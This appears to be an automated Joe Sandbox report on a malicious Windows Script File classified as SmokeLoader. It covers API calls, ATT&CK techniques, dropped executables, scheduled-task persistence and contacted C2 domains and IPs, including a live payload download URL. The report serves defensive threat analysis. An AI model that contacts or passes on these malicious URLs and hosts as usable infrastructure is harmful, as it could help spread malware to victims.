Code function: 12_2_00418A70 InterlockedCompareExchange,GetFocus,ReadConsoleA,FindAtomA,SearchPathA,SetConsoleMode,SearchPathW,GetDefaultCommConfigA,CopyFileExW,CreatePipe,GetEnvironmentStringsW,WriteConsoleOutputA,GetModuleFileNameA,GetSystemTimeAdjustment,ObjectPrivilegeAuditAlarmW,WaitForSingleObject,SetCommState,GetConsoleAliasesLengthW,GetComputerNameA,CopyFileW,GetFileAttributesA,GetConsoleAliasExesLengthW,GetBinaryType,FormatMessageA,GetLongPathNameA,PurgeComm,LoadLibraryA,MoveFileW,InterlockedCompareExchange,

12_2_00418A70

Source: C:\Windows\explorer.exe

Code function: 14_2_0AC43520 GetUserNameW,

14_2_0AC43520

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 0000000F.00000002.1688228770.0000000002060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1426355284.00000000007E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1426166777.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1688289070.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 0000000F.00000002.1688228770.0000000002060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1426355284.00000000007E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1426166777.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1688289070.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Native API	22 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	11 System Time Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Exploitation for Client Execution	1 DLL Side-Loading	312 Process Injection	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	12 Software Packing	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	6 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	214 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	611 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	231 Virtualization/Sandbox Evasion	Cached Domain Credentials	231 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	312 Process Injection	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Hidden Files and Directories	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
w4DO1Z18yg.wsf	26%	ReversingLabs	Win32.Trojan.Leonem

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\tesubba	100%	Avira	HEUR/AGEN.1312567
C:\Users\user\AppData\Local\Temp\oBuf.exe	100%	Avira	HEUR/AGEN.1312567
C:\Users\user\AppData\Roaming\tesubba	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\oBuf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\oBuf.exe	88%	ReversingLabs	Win32.Trojan.SmokeLoader
C:\Users\user\AppData\Roaming\tesubba	88%	ReversingLabs	Win32.Trojan.SmokeLoader

Source	Detection	Scanner	Label
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://word.office.com	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://outlook.com	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bestmagazineforanimalsunicum.ru	193.46.217.78	true	true	unknown
ceoconstractionstore.pl	188.40.141.211	true	true	unknown
unicexpertmagazine.pw	193.46.217.78	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://openclehardware.ru/index.php	true	unknown
http://bestmagazineforanimalsunicum.ru/download/svc.exe	true	unknown
http://ceoconstractionstore.pl/index.php	true	unknown
http://informcoopirationunicolceo.ru/index.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 0000000E.00000002.2501943788.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1408331897.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.0000000008F09000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.pollensense.com/	explorer.exe, 0000000E.00000002.2499201257.00000000071B2000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com:443/v1/news/Feed/Windows?t	explorer.exe, 0000000E.00000000.1406417153.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2499201257.0000000007276000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.microsoft.co	powershell.exe, 00000004.00000002.1314664931.00000194DB975000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.1336938899.00000194ED94C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fwtilsrhssulldop.com/	explorer.exe, 0000000E.00000003.2271814403.0000000009013000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://ooxywteyveq.com/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 0000000E.00000003.2271765227.000000000C4F3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271584733.000000000C4B5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://excel.office.com	explorer.exe, 0000000E.00000002.2507163228.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1410779925.000000000C091000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://schemas.micro	explorer.exe, 0000000E.00000002.2501271006.0000000008820000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.1407973981.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.1407494868.0000000007C70000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.1336938899.00000194ED94C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1315560529.00000194DF2A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1336938899.00000194EDA82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1336938899.00000194ED94C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://rfcqeahtpbrxjuy.net/	explorer.exe, 0000000E.00000002.2509240753.000000000C560000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271403404.000000000C55E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271209149.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://ceoconstractionstore.pl/index.phpings6QP	explorer.exe, 0000000E.00000002.2508785780.000000000C40E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271648841.000000000C40D000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://wns.windows.com/	explorer.exe, 0000000E.00000000.1408331897.00000000090F2000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://ooxywteyveq.com/	explorer.exe, 0000000E.00000003.2271765227.000000000C4F3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271584733.000000000C4B5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1315560529.00000194DD8D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1315560529.00000194DF2A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1336938899.00000194EDA82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1336938899.00000194ED94C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://word.office.com	explorer.exe, 0000000E.00000002.2507163228.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1410779925.000000000C091000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1315560529.00000194DDAFD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1315560529.00000194DDAFD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro	powershell.exe, 00000004.00000002.1315560529.00000194DE4FD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1336938899.00000194ED94C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://powerpoint.office.com	explorer.exe, 0000000E.00000002.2507163228.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1410779925.000000000C091000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.foreca.com	explorer.exe, 0000000E.00000002.2499201257.00000000071B2000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://outlook.com	explorer.exe, 0000000E.00000002.2507163228.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1410779925.000000000C091000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1315560529.00000194DDAFD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://bestmagazineforanimalsunicum.ru	powershell.exe, 00000004.00000002.1315560529.00000194DEC1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1315560529.00000194DEEEC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://android.notify.windows.com/iOS	explorer.exe, 0000000E.00000000.1408331897.000000000913F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://rfcqeahtpbrxjuy.net/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 0000000E.00000002.2509240753.000000000C560000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271403404.000000000C55E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271209149.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 0000000E.00000003.2271814403.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2273440659.0000000008F7A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1408331897.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2501943788.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/	explorer.exe, 0000000E.00000003.2271814403.0000000008F09000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1315560529.00000194DD8D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/accuweather-el-ni	explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.40.141.211	ceoconstractionstore.pl	Germany		24940	HETZNER-ASDE	true
193.46.217.78	bestmagazineforanimalsunicum.ru	Spain		203178	CUBENODEES	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525802
Start date and time:	2024-10-04 16:35:36 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	w4DO1Z18yg.wsf renamed because original name is a hash value
Original Sample Name:	5c7d582ba61ac95fb0d330ecc05feeb4853ac1de1f5a6fd12df6491dd0b7ea34.wsf
Detection:	MAL
Classification:	mal100.troj.expl.evad.winWSF@9/5@3/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 70 Number of non-executed functions: 14
Cookbook Comments:	Found application associated with file extension: .wsf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6016 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: w4DO1Z18yg.wsf

Simulations

Behavior and APIs

Time	Type	Description
10:36:32	API Interceptor	30x Sleep call for process: powershell.exe modified
10:36:53	API Interceptor	838x Sleep call for process: explorer.exe modified
18:03:32	Task Scheduler	Run new task: Firefox Default Browser Agent B1ADBD9A1643A942 path: C:\Users\user\AppData\Roaming\tesubba

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.40.141.211	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	abc0f6a2936703cd32608e7a0c06cd7b1da2f012ad7eb.exe	Get hash	malicious	CryptOne, Nymaim, PrivateLoader, RedLine, SmokeLoader, onlyLogger	Browse	gmpeople.com/upload/
	vwaoMjcyAw.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	Qi4Mj8hG3t.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	br0A8E2X6I.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	setup.exe	Get hash	malicious	Babuk, Djvu	Browse	zexeq.com/test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true
	SecuriteInfo.com.Win32.Evo-gen.21074.1738.exe	Get hash	malicious	SmokeLoader	Browse	agressivemnaiq.xyz/
	A9BCD8D127BE95C64EDAE5CDD2379494A37D458FD9D5881D74F8D5487A805E6C.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/
193.46.217.78	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse	unicexpertmagazine.pw/index.php
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse	unicexpertmagazine.pw/index.php
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	unicexpertmagazine.pw/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
unicexpertmagazine.pw	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse	193.46.217.78
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse	193.46.217.78
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	193.46.217.78
	3388.PDF.hta	Get hash	malicious	SmokeLoader	Browse	185.219.7.204
	3312.PDF.scr	Get hash	malicious	SmokeLoader	Browse	45.143.201.14
bestmagazineforanimalsunicum.ru	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse	193.46.217.78
bestmagazineforanimalsunicum.ru	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse	193.46.217.78
ceoconstractionstore.pl	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	https://indexconectada.net.br/	Get hash	malicious	Unknown	Browse	85.10.195.17
	https://iasitvlife.ro	Get hash	malicious	Unknown	Browse	49.12.228.110
	https://iasitvlife.ro/stiri/local/a-sunat-la-call-center-anticoruptie-si-a-denuntat-un-functionar-public/	Get hash	malicious	HTMLPhisher	Browse	49.12.228.110
	Zxooek.exe	Get hash	malicious	FormBook	Browse	88.198.46.204
	MOfHb44mph.elf	Get hash	malicious	Unknown	Browse	144.76.53.154
	Full Litigation File.pdf	Get hash	malicious	Unknown	Browse	176.9.171.101
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	49.12.197.9
CUBENODEES	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse	193.46.217.78
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse	193.46.217.78
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	193.46.217.78
	https://public-usa.mkt.dynamics.com/api/orgs/656e8c66-5e77-ef11-ac1e-6045bd080c27/r/lmUG5F4EgUesqGwuJA5PigEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fcrm.interactivaclic.com%252Fn%252F%253Fc3Y9bzM2NV8xX29uZSZyYW5kPVNUVjBVakk9JnVpZD1VU0VSMjMwOTIwMjRVMjYwOTIzMjE%253DN0123N%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=HTFuI1dWNsWznL3K1x2s1mvQbKix%2BdykwHJYfkmm7o4%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	Unknown	Browse	89.44.32.18
	cFvDKWB1V8.ps1	Get hash	malicious	XWorm	Browse	83.147.55.182
	New_Document-660111409161.wsf	Get hash	malicious	XWorm	Browse	83.147.55.182
